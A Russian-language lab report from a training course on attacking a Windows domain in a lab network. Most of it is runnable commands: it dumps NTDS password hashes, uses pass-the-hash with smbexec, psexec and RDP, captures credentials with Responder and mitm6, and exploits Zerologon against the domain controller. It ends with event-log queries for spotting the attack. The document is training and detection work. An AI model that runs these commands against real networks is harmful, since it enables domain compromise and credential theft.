# Практическая работа № 6.
## 6.1 Базовые атаки на Windows-инфраструктуру.
Создадим бэкап базы NTDS.
На контроллере домена выполним:
```bash=
ntdsutil
activate instance ntds
ifm
create full C:\Temp
```
Результат

C Kali Linux скопируюм данный файл
```bash=
smbclient '\\192.168.10.200\C$' -U PT/Administrator
```

Следующая последовательность команд в smbclient копирует файл
```bash=
recurse ON
prompt OFF
lcd /home/kali
mget temp
```
Скачивание завершено

Далее проведем анализ NTDS. Анализ проводить будем пакетом imipacket.
Следующими командами клонируем данный пакет и установим его.
```bash=
git clone https://github.com/SecureAuthCorp/impacket
apt install python3-pip
cd impacket
pip install .
```
Репозиторий склонирован

Python3-pip установлен

Impacket установился, но с ошибками совместимости, некоторые пакеты на системы новее требуемых. Попробуем так запуститься.

Теперь проведем анализ дампа NTDS
```bash=
cd examples
python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/Temp/registry/SYSTEM LOCAL
```
Анализ прошел успешно

Тут мы будем проводить атаку path-the-hash.
Просканирум сеть на обнаружение хостов взаимодействующих по протоколу SMB.
Для этого воспользуемся утилитой crackmapexec
Запустим быстрое сканирование
```bash=
crackmapexec smb 192.168.10.0/24
```
Результат

Возьмем hash пользователя ADMPetr, который мы получили ранее инструментом impacket.
```bash=
aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128
```
Посмотрим список доступных сетевых папок пользователю ADMPetr на сервере dc1
```bash=
crackmapexec smb 192.168.10.200 -u ADMPetr -H aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 --shares
```
У Петра довольно много прав )

Запустим удаленную командную строку на сервере dc1
```bash=
python3 smbexec.py PT/ADMPetr@192.168.10.200 -hashes ad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128
```
Результат

Можно использовать аналог psexec
```bash=
python3 psexec.py PT/ADMPetr@192.168.10.200 -hashes ad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128
```
Результат

С помощью xfreerdp попытаемся зайти по RDP на сервер dc1
Команда запуска
```bash=
xfreerdp /d:PT /u:ADMPetr /v:192.168.10.200 /pth:05df2fd1109e3d3b60f110965f6af128
```
Однако мы не разрешали доступ по RDP на сервере dc1, разрешим для пользователя ADMPetr.

Запустим скрипт и подтвердим сертификат

Подключение неудачное

Для отключения ограничения админов выполним следующий командлет
```powershell=
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name DisableRestrictedAdmin -Value 0 -PropertyType DWORD -Force
```
Результат

Благодаря политике аудита Powershell мы можем видить в событиях запуск данного скрипта

Xfreerdp работает

Продолжим атаковать протоколы Windows
Будем пытаться атаковать NBT-NS & LLMNR & mDNS
Для этого есть инструмент responder. Запустим спавку
```bash=
reponder -h
```
Результат

Командой запустим responder
```bash=
responder -I eth0 -A
```

На доменной машине попробуем обратиться к несуществующей smb шаре

Responder видит такие обращения

Попробуем запросить аутентификационные данные у пользователя при доступе к несуществующей шаре
```bash=
responder -I eth0 -wFv
```
Аутентификационные данные запрашиваются для несуществующей шары

Responder перехватывает токен доступа

Далее данный хэш можно подать на john или hashcat
Теперь используем атаку mitm через фейковый dhcp6 сервер
Будем использовать утилиту mitm6
Установим ее
```bash=
pip install mitm6
```

В команде атаки указываем домен
```bash=
mitm6 -d pt.local
```
Результат

Настройки сетевого адаптера на машине. Протокол IPv6 отключен.

Включим протокол IPv6 на машине pc1 и проверим интерфейс

Проведем атаку

Проверим результат

Мы в канале. Теперь нам нужно получить аутентификационные данные, для этого поднимим SMB сервер с помощью такой команды из пакета impacket
```bash=
python3 smbserver.py -smb2support SMB /root/SMB
```
Результат

На машине pc1 пробуем зайти на pt.local. Видим там шару SMB

В выводе smbserver находим аутентификационные данные

Далее для взлома хеша можно подключить john или hashcat
## 6.2 Компрометация Active Directory
Проведем атаку на домен Windows и попробуем найти следы.
Аудит управления машинных учетных записей мы включили в задании по настройке GPO.
Будем использовать уязвимость zerologin

Склонируем репозиторий
```bash=
git clone https://github.com/risksense/zerologon
```

Сбросим пароль доменной машины
```bash=
python3 zerologon/set_empty_pw.py DC1 192.168.10.200
```

Impacket у нас установлен
Попытаемся сдампить NTDS
```bash=
python3 impacket/examples/secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'
```
Получили хэши учетных данных

Выполним команду на котроллере домен от пользователя ADMPetr
```bash=
crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami
```

Попробуем найти следы эксплуатации в журналах Windows на сервере dc1
Можем использовать следующий командлет
```powershell=
Get-WinEvent –FilterHashTable @{LogName=’Security’;ID=4742}
Get-WinEvent –FilterHashTable @{LogName=’System’;ID=5805}
```

Находим событие с анонимным входом и сменой пароля учетной записи не от сетевой службы. Кроме того нет еще одного события с id 5823, которое возникает при легитимной смене пароля доменной машины.


На этом данная работа закончена